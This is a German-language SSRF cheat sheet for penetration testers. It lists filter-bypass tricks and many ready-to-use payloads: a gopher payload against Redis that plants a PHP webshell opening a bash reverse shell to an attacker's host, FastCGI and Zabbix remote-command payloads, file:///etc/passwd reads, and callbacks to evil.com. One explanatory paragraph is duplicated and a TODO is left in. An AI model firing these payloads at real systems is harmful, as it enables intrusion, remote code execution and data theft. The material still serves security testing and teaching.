Server Side Request Forgery (SSRF)
Beim Server Side Request Forgery, macht der Server eine Anfrage für den User bei einem internen Server. Dadurch ist der Zugriff auf die interne Infrastruktur möglich, zudem können Vertrauensbeziehungen ausgenutzt werden. Beispielsweise wenn die Admin Oberfläche nur über das interne Interface localhost erreichbar ist.
Auftreten von SSRF
SSRF Schwachstellen können in den folgenden Fällen auftreten:
- Spezifizieren einer URL für ein Profilbild
- Webhook Service & externe Datenverarbeitung
- PDF Generatoren
- CORS Proxies (zum umgehen der CORS Policy)
- Verarbeitung eines Request Headers wie
X-Forwarded-Foroder demHostHeader.
Tools
- swisskyrepo/SSRFmap - Automatischer SSRF Fuzzer und Exploiter
- tarunkant/Gopherus - Generiert Gopher Links zum SSRF Exploiten und um RCE's in manchen Diensten zu bekommen
- In3tinct/See-SURF - Python basierter Scanner zum suchen nach SSRF Parametern
- teknogeek/SSRF-Sheriff - SSRF Sheriff geschrieben in Go
- assetnote/surf - Liste von SSRF Kandidaten
- dwisiswant0/ipfuscator - Alternative IPv4 Adressen
- Horlad/r3dir - Redirection Service
SSRF mit blacklist basierten input Filtern
Manche Applikationen blocken eingaben wie 127.0.0.1, localhost oder sensible URLs wie /admin. Um diese Filter zu umgehen können die folgenden Techniken genutzt werden:
- Alternative IP Repräsentation:
2130706433,017700000001oder127.1. - Eigener Domain Name, welcher zu
127.0.0.1auföst, wie localtest.me oder localh.st. - Obfuskierung wie URL Enkodierung oder case variation
- Eigene URL welche zu der Ziel URL weiterleitet. Dazu sollten verschiedene redirect codes, und Protokolle ausprobiert werden. Beispielsweise ändern von
http:zuhttps:, kann filter umgehen.
TODO: Add more content here.
SSRF mit whitelist basierten Eingabefiltern
Der Filter kann gucken, ob ein whitelist Wert am Anfang der URL oder am Ende enthalten ist. Um dies zu umgehen können die folgenden Techniken verwendet werden:
- Es ist möglich credentials in einer URL anzugeben vor dem @:
https://expected-host:fakepassword@evil-host - Mit dem
#ist es möglich URL Fragmente anzugeben:https://evil-host#expected-host - Die DNS Naming hierarchie kann benutzt werden um daten einzufügen:
https://expected-host.evil-host - Es ist möglich Zeichen zu URL encodieren, um das url parsen zu verwirren. Dies ist nützlich, wenn der Filter die Zeichen unterschiedlich handhabt, wie das back-end. Hier kann auch das doppelte URL enkodieren helfen.
Open Redirection
Beim Open redirect, steht in der URL eine weitere URL die aufgerufen werden soll. Dies kann ausgenutzt und überschrieben werden:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
Blind SSRF
Bei Blind SSRF kann nur der vom Server ausgelöste Request auf einem Angreifer Server wie interactsh gesehen werden.
Systeme im Netzwerk finden
Mithilfe von SSRF ist es möglich auf interne Systeme zugreifen. Diese zu finden ist allerdings Aufgrund der vielen möglichen IP Adressen nicht so leicht:
| IP Range | IP Adressen |
|---|---|
| 10.0.0.0/8 | 16,777,216 |
| 172.16.0.0/12 | 1,048,576 |
| 192.168.0.0/16 | 65,536 |
Bei AWS wird die IP Adresse 169.254.169.254 zur preisgabe von Metadaten genutzt. Andere Anbieter wie Google Cloud nutzen DNS um Metadaten bereitzustellen. Manche dieser Metadaten Dienste verlangen allerdings eine Authentifizierung.
Authentifizierung in Microservices umgehen
Die Authentifizierung innerhalb microservices ist oftmals schlechter.
Diese beruhen dabei meistens auf anderen Systemen, wie ein API gateway oder ein reverse proxy.
Ist es möglich eine SSRF Schwachstelle hinter diesen Diensten auszunutzen, ist es möglich diese Sicherheitsmechanismen zu umgehen.
Eine gültige URI benötigt einen host und einen Pfad nach dem Schema und dem Doppelpunkt.
Es kann auch der Host ausgenommen werden durch nutzen eines Schrägstriches, um zu zeigen dass es keinen Hostnamen gibt file:/tmp/foo.txt.
Daneben können auch drei Schrägstriche genutzt werden, um zu zeigen dass es einen leeren Hostnamen gibt file:///tmp/foo.txt.
Viele Betriebssysteme behandeln diese Optionen gleich, wobei es auch Ausnahmen gibt.
Exploiten
Manche User Agenten unterstützen das Gopher Protokoll, welches noch aus den Anfängen des Internets stammt.
Mit diesem kann es möglich sein manche Restriktionen zu umgehen.
So ist es beispielsweise mit curl möglich dieses zu nutzen.
Zudem können Header mit newlines angehängt werden.
Des erste Zeichen wird abgeschnitten, deshalb steht vor dem GET ein _.
curl gopher://127.0.0.1:9000/_GET%20/hello_gopher%20HTTP/1.1
Manche User Agenten unterstützen das Gopher Protokoll, welches noch aus den Anfängen des Internets stammt.
Mit diesem kann es möglich sein manche Restriktionen zu umgehen.
So ist es beispielsweise mit curl möglich dieses zu nutzen.
Zudem können Header mit newlines angehängt werden.
Des erste Zeichen wird abgeschnitten, deshalb steht vor dem GET ein _.
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Exploiting PDF Generatoren
Wenn ein PDF erstellt wird, z.B. für eine Rechnung, wandeln manche PDF Generatoren HTML in PDF um. Wird dieser HTML Code nicht überprüft kann ein Angreifer das PDF Manipulieren. Um eine SSRF Schwachstelle kann ein Iframe benutzt werden oder ein simples javascript snippet:
<script>
var x = new XMLHttpRequest();
x.onload=function(){ document.write(this.responseText) };
x.open('GET','http://127.0.0.1'); // You can also read local system files such as "/etc/passwd"
x.send();
</script>
Tip
Manche PDF Generatoren, nutzen den Chromium Browser ohne aktivierte Sandbox und mit Root Rechten
Protokoll umgehen
Manche Webseiten versuchen SSRF zu umgehen, indem nur ein Pfad angegeben werden kann. In diesem Fall ist es trotzdem Möglich ein Protokoll anzugeben:
//{CANARY_TOKEN}
\\{CANARY_TOKEN}
////{CANARY_TOKEN}
\\\\{CANARY_TOKEN}
http:{CANARY_TOKEN}
https:{CANARY_TOKEN}
/%00/{CANARY_TOKEN}
/%0A/{CANARY_TOKEN}
/%0D/{CANARY_TOKEN}
/%09/{CANARY_TOKEN}
Filter Umgehen
Um Filter zu umgehen sollten erstmal einfache Techniken benutzt werden wie, die Verwendung von localhost, 127.0.0.1 oder 0.0.0.0. Auch ist es möglich hierfür IPV6 zu nutzen: http://[::]:80/, aber auch mit der loopback Adresse http://[0000::1]:80/ ist es möglich oder mit der IPV6/IPV4 einbettung: http://[0:0:0:0:0:ffff:127.0.0.1] und http://[::ffff:127.0.0.1]
.{CANARY_TOKEN}
@{CANARY_TOKEN}
example.com.{CANARY_TOKEN}
example.com@{CANARY_TOKEN}
example.comx.{CANARY_TOKEN}
{CANARY_TOKEN}#example.com
{CANARY_TOKEN}?example.com
{CANARY_TOKEN}#@example.com
{CANARY_TOKEN}?@example.com
127.0.0.1.nip.io
example.com.127.0.0.1.nip.io
127.1
localtest.me
localh.st
spoofed.redacted.oastify.com
IP Adressen in 127.0.0.1/8
http://0/
http://127.1
http://127.0.1
http://2130706433/ # Dezimale IP Darstellung für 127.0.0.1
http://0177.0.0.1/ # Oktale Darstellung für 127.0.0.1
http://o177.0.0.1/
http://0o177.0.0.1/
http://q177.0.0.1/
http://127.0.0.1/%61dmin # URL Enkodierund einfach/doppelt
①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿ # Alphanumerische Zeichen
sftp://evil.com:11111/
tftp://evil.com:123456/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
netdoc:///etc/passwd # wrapper für Java wenn Payloads Probleme mit "\r" und "\n" haben.
Das {CANARY_TOKEN} muss durch eine Angreifer kontrollierbare Domain ersetzt werden, beispielsweise Burp Collaborator Domain. Und die Domain example.com durch eine gewhitelistete.
Auch ist es möglich einen redirect zu nutzen, um einen Filter zu umgehen.
Die Weiterleitung muss den Code 307 oder 308 haben, um die HTTP Methode und den Body beizubehalten.
Dafür kein ein Tool wie r3dir genutzt werden.
Der folgende Code leitet mit dem 307 Temporary Redirect an localhost weiter:
https://307.r3dir.me/--to/?url=http://localhost
Filter umgehen durch Ausnutzen des Parsing Prozesses
Es ist auch möglich die Filter zu umgehen, indem Unterschiedliche Interpretierungen durch Parser ausgenutzt werden.
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
Bei der URL http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ wird beispielsweise der erste Teil von urllib2 als Ziel genommen.
Bei requests und den meisten Browsern wird der zweite Teil als gültig definiert.
Der erste Teil als Authentifizierungsdaten.
urllib hingegen interpretiert das # Zeichen als Trennzeichen und interpretiert alles danach als Host.
Umgehen der Filter mittels JAR Scheme
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
Dateien lesen
file:///etc/passwd
file://\/\/etc/passwd
Gopher
Das gopher Protokoll ist ein altes Protokoll, welches beispielsweise noch von curl unterstützt wird. Dieses Protokoll ist sehr flexibel und bietet viele Funktionen. Ein beispiel dafür ist im folgenden zu sehen, auch gibt es ein Programm mit ein paar exploits
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Curl URL globbing
Curl nutzt ein Feature namens URL globbbing:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
FastCGI
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
Redis
Auch ist es möglich auf Redis einen Angriff zu starten:
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
dict://127.0.0.1:6379/SAVE
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
Zabbix
Wenn EnableRemoteCommands=1 im Zabbix Agent Konfiguriert ist, ist eine RCE möglich:
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
Upgrade zu XSS
Es ist möglich die SSRF Schwachstelle zu einer XSS Schwachstelle umzuwandeln. Dazu wird ein SVG inkludiert, welches Javascript Code ausführen kann.
https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg
DNS Zone Transfer
Auch ist es möglich einen Zone Transfer zu machen (AXFR).
from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request = b"\x01\x03\x03\x07" # BITMAP
dns_request += b"\x00\x01" # QCOUNT
dns_request += b"\x00\x00" # ANCOUNT
dns_request += b"\x00\x00" # NSCOUNT
dns_request += b"\x00\x00" # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode() # DOMAIN
dns_request += len(tld).to_bytes() # LEN TLD
dns_request += tld.encode() # TLD
dns_request += b"\x00" # DNAME EOF
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
dns_request += b"\x00\x01" # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
DNS Rebind
Beim DNS Rebind Angriff nutzt ein Angreifer eine Domain, die eine "harmlose" IP-Adresse zurückgibt.
Bei erneuter Auflösung z.B. nach Ablauf der TTL erhält der Server eine andere Adresse.
Da der Browser glaubt, dass es sich immer noch um die erste Domain handelt wird die Same-Origin-Policy nicht verletzt.
Dieser Angriff funktioniert allerdings nicht bei HTTPS, da es hier unter anderem eine Zertifikatsvalidierung gibt, welche merkt, dass die neue IP nicht mit dem Zertifikat übereinstimmt.
Für einen solchen Angriff kann der Dienst 1u.ms genutzt werden.
Mithilfe dieses kann eine Domain wie make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms definiert werden.
Dabei wird hier zuerst die IP 1.2.3.4 zurückgegeben und nach Ablauf der TTL die 169.254.169.254.
SSRF Cloud + Docker
https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/#ssrf-url-for-kubernetes-etcd